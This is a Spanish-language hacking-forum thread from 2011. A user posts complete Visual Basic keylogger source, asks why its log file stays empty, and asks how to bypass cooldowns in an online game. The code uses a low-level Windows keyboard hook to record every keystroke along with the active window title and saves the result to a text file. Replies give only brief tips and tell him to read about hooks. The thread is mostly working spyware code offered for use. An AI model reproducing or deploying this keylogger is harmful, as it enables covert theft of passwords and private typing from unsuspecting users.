elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
29 Mayo 2012, 01:02  


Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de

+  Foro de elhacker.net
|-+  Programación
| |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo, raul338)
| | |-+  Keylogger y 0 intervalo
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Keylogger y 0 intervalo  (Leído 712 veces)
BahiereTTi

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Keylogger y 0 intervalo
« en: 12 Julio 2011, 22:12 »

Mi keylogger (Lo saque en un aporte, le modifique donde se guarda, porque no entendi una ***** como se guardaba en el aporte ni como lo leia)
Código
Option Explicit
 
'|||||||||||||||||||||||
'|                     |
'|Autor: Karcrack      |
'|Fecha: 24/09/08      |
'|                     |
'|||||||||||||||||||||||

 
Public Sub ManageKeylogger(ByVal Enable As Boolean)
   Select Case Enable
       Case True
           KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
       Case False
           Call UnhookWindowsHookEx(KBHook)
   End Select
End Sub
 
Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
   Dim KeyBoardHook        As KBDLLHOOKSTRUCT
 
   If nCode = 0 Then
       CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook)
       With KeyBoardHook
           If .Flags = 0 Or .Flags = 1 Then
               If SaveLog(TranslateKey(.VkCode)) > 50 Then
                   Call LogToFile(App.Path & "\Log.log")
               End If
           End If
       End With
   Else
       KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam)
   End If
End Function
 
Private Function TranslateKey(ByVal KeyCode As Long) As String
   Dim LngShift            As Long
 
   'Funcion optimizada para su uso en teclados españoles.
   
   LngShift = GetAsyncKeyState(vbKeyShift)
   If KeyCode >= 58 And KeyCode <= 90 Then
       TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
   ElseIf KeyCode >= 96 And KeyCode <= 105 Then
       TranslateKey = Chr(KeyCode - 48)
   ElseIf KeyCode >= 112 And KeyCode <= 123 Then
       TranslateKey = "{F" & KeyCode - 111 & "}"
   Else
       If KeyCode = 160 Then TranslateKey = ""
       If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
       If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
       If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
       If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
       If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
       If KeyCode = 32 Then TranslateKey = "{ESPACIO}"
       If KeyCode = 27 Then TranslateKey = "{ESC}"
       If KeyCode = 46 Then TranslateKey = "{DEL}"
       If KeyCode = 36 Then TranslateKey = "{HOME}"
       If KeyCode = 35 Then TranslateKey = "{END}"
       If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
       If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
       If KeyCode = 45 Then TranslateKey = "{PASTE}"
       If KeyCode = 144 Then TranslateKey = "{NUM}"
       If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
       If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
       If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
       If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
       If KeyCode = 13 Then TranslateKey = "{ENTER}"
       If KeyCode = 8 Then TranslateKey = "{BACK}"
       If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
       If KeyCode = 9 Then TranslateKey = "{TAB}"
       If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
       If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
       If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
       If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
       If KeyCode = 164 Then TranslateKey = "{ALT}"
       If KeyCode = 165 Then TranslateKey = "{ALTGR}"
       If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
       If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")
       If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")
       If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")
       If KeyCode = 191 Then TranslateKey = IIf(LngShift <> 0, "'", "#")
       If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")
       If KeyCode = 186 Then TranslateKey = IIf(LngShift <> 0, "Ü", "ü")
       If KeyCode = 192 Then TranslateKey = IIf(LngShift <> 0, "Ö", "ö")
       If KeyCode = 222 Then TranslateKey = IIf(LngShift <> 0, "Ä", "ä")
       If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "ß")
       If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "°", "^")
       If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")
       If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")
       If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")
       If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "§", "3")
       If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")
       If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")
       If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")
       If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")
       If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")
       If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")
       If KeyCode = 145 Then TranslateKey = "{ROLL}"
       If KeyCode = 44 Then TranslateKey = "{PRINT}"
       If KeyCode = 19 Then TranslateKey = "{PAUSE}"
       If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode
   End If
End Function
 
Public Function SaveLog(ByVal sKey As String) As Double
   Dim aHwnd               As Long
   Dim WinText             As String
   aHwnd = GetForegroundWindow
 
   If aHwnd <> lHwnd Then
       lHwnd = aHwnd
       WinText = String$(255, Chr$(0))
       Call GetWindowText(aHwnd, WinText, Len(WinText))
       WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1)
 
       KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now() & "]" & vbCrLf
   End If
 
   KeyData = KeyData & sKey
 
   SaveLog = Len(KeyData)
End Function
 
Public Sub LogToFile(ByVal sPath As String)
   Open "C:\ARCHIVOS DE PROGRAMA\ASD.TXT" For Binary As #1
       Put #1, , KeyData
   Close #1
End Sub



En un modulo:

Código
 
Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
Private Const WH_KEYBOARD_LL   As Long = 13
 
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
 
Public Type KBDLLHOOKSTRUCT
   VkCode                  As Long
   ScanCode                As Long
   Flags                   As Long
   Time                    As Long
   DwExtraInfo             As Long
End Type
 
Dim KBHook                  As Long
Dim KeyData                 As String
Dim lHwnd                   As Long
 
 

Ejecuto el programa y no pasa nada :S

Osea, no se me guarda en el txt de asd...


Me pueden  explicar mejor como funciona?





Ahora el 0 intervalo...


Bueno...
Estuve tratando de hacer algún programa para que no haya intervalo nada, por ejemplo...

Mi juego, tiene el intervalo de lanzar un hechizo como de 1 segundo, entonces quiero que al clickear "Lanzar" y apretes en el usuario, no haya intervalo...
Sería, el intervalo de click que no afecte, ¿Como podría hacer?

El otro es el de la tecla U...
Con la U poteo...

Como puedo hacer para que no haya intervalo entre U Y U?

PD: Aclaro que no es mi juego, osea los codes no los tengo yo, es un juego online que yo juego.

Mucha suerte!

Espero que me den los codes :$


« Última modificación: 12 Julio 2011, 22:14 por BahiereTTi » En línea
BlackZeroX (Astaroth)
Wiki

Desconectado Desconectado

Mensajes: 2.831


I'Love...!¡.


Ver Perfil WWW
Re: Keylogger y 0 intervalo
« Respuesta #1 en: 12 Julio 2011, 23:47 »

Si no hay intervalo entonces no hay bucle por decir algo... imaginate una linea... una linea es una sucesion finita de puntos con un intervalo siempre distinto de 0... si fuera su intervalo 0 solo seria un punto es decir nos eria una linea, esto aplica de la misma manera para lo que estas haciendo.

P.D.: TranslateKey para que este realmente optimizada le falta hacerle el else a cada uno de esos if then...

Dulces Lunas!¡.


En línea

Web Principal-->[ Blog(VB6) | Host File (Public & Private) | Scan Port | (New)MyInfraPC (Descubre mi Contraseña venefi. $) ]



The Dark Shadow is my passion.
El infierno es mi Hogar, mi novia es Lilith y el metal mi
BlackZeroX (Astaroth)
Wiki

Desconectado Desconectado

Mensajes: 2.831


I'Love...!¡.


Ver Perfil WWW
Re: Keylogger y 0 intervalo
« Respuesta #2 en: 12 Julio 2011, 23:48 »

...
Como puedo hacer para que no haya intervalo entre U Y U?

PD: Aclaro que no es mi juego, osea los codes no los tengo yo, es un juego online que yo juego.

Mucha suerte!

Espero que me den los codes :$


amm ¬¬" , ponte a leer algo sobre Hooks por que ese codigo actua bajo esto... lo demas esperemos que depara el destino.

Dulces Lunas!¡.
En línea

Web Principal-->[ Blog(VB6) | Host File (Public & Private) | Scan Port | (New)MyInfraPC (Descubre mi Contraseña venefi. $) ]



The Dark Shadow is my passion.
El infierno es mi Hogar, mi novia es Lilith y el metal mi
BahiereTTi

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Re: Keylogger y 0 intervalo
« Respuesta #3 en: 13 Julio 2011, 00:00 »

Es que no tengo tiempo para leer ahora, estoy estudiando...

Según el aporte ese código andaba perfecto el de Keylogger, pero no entiendo donde se guarda toda la variable en la PC.
En línea
BlackZeroX (Astaroth)
Wiki

Desconectado Desconectado

Mensajes: 2.831


I'Love...!¡.


Ver Perfil WWW
Re: Keylogger y 0 intervalo
« Respuesta #4 en: 13 Julio 2011, 01:08 »


PD: Aclaro que no es mi juego, osea los codes no los tengo yo, es un juego online que yo juego.


Es que no tengo tiempo para leer ahora, estoy estudiando...

[hipocrita]
Es que no tengo tiempo para leer ahora, estoy jugando estudiando...
[/hipocrita]

Dulces Lunas!¡.
En línea

Web Principal-->[ Blog(VB6) | Host File (Public & Private) | Scan Port | (New)MyInfraPC (Descubre mi Contraseña venefi. $) ]



The Dark Shadow is my passion.
El infierno es mi Hogar, mi novia es Lilith y el metal mi
BahiereTTi

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Re: Keylogger y 0 intervalo
« Respuesta #5 en: 13 Julio 2011, 01:54 »

Nono, enserio, tengo 3 bajas y lunes martes y miercoles estoy castigado.

Hoy estoy porque me saque 2   10 y 1   9.


En línea
TGa.

Desconectado Desconectado

Mensajes: 43



Ver Perfil
Re: Keylogger y 0 intervalo
« Respuesta #6 en: 13 Julio 2011, 03:42 »

si no lees no aprenderas nunca, nadie te va a dar el codigo hecho y no por postear 3 veces lo del intervalo te van a responder mas rapido
En línea
BahiereTTi

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Re: Keylogger y 0 intervalo
« Respuesta #7 en: 13 Julio 2011, 19:40 »

Claro, coincido con vos, leo en mis tiempos libres...

Pero no se me ocurre ni encuentro nada para cambiar el intervalo de la tecla en un juego :S
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Intervalo entre clicks
Programación Visual Basic
traviatØ 6 977 Último mensaje 6 Agosto 2009, 19:50
por Dessa
Problema El subindice esta fuera de intervalo
Programación Visual Basic
ninto33 5 3,076 Último mensaje 8 Febrero 2010, 08:19
por BlackZeroX (Astaroth)
[C#] DataView.rowfilter (filtrar por un intervalo de fechas)
.NET
SRVAM 3 5,082 Último mensaje 12 Febrero 2010, 20:06
por MANULOMM
Generar un número en intervalo de tiempo
Desarrollo Web
Cergath 2 1,279 Último mensaje 10 Enero 2011, 00:03
por drvy | BSM
Apretar la U sin intervalo
Programación Visual Basic
BahiereTTi 2 290 Último mensaje 12 Julio 2011, 22:41
por BahiereTTi
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines